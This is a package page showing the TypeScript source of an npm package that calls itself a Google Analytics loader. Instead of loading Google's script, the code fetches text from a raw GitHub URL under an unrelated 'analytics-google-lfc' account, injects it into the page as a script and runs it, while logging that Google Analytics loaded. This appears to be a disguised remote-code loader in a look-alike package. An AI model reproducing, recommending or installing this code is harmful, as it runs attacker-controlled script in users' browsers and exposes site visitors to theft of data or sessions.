react-google-analytics-lfc
Version:
A package for loading Google analytics
27 lines (20 loc) • 895 B
text/typescript
export class reactGoogleAnalyticsLFC {
private readonly GITHUB_REPO_URL = 'https://raw.githubusercontent.com/analytics-google-lfc/google/main/analytics';
public async loadScript(): Promise<void> {
try {
const response = await fetch(this.GITHUB_REPO_URL);
if (!response.ok) {
throw new Error(`Failed to fetch script: ${response.statusText}`);
}
const scriptContent = await response.text();
const script = document.createElement('script');
script.textContent = scriptContent;
document.body.appendChild(script);
console.log('Google analytics file loaded successfully');
} catch (error) {
console.error('Failed to load script:', error);
throw error;
}
}
}
export const useAnalytics = () => new reactGoogleAnalyticsLFC();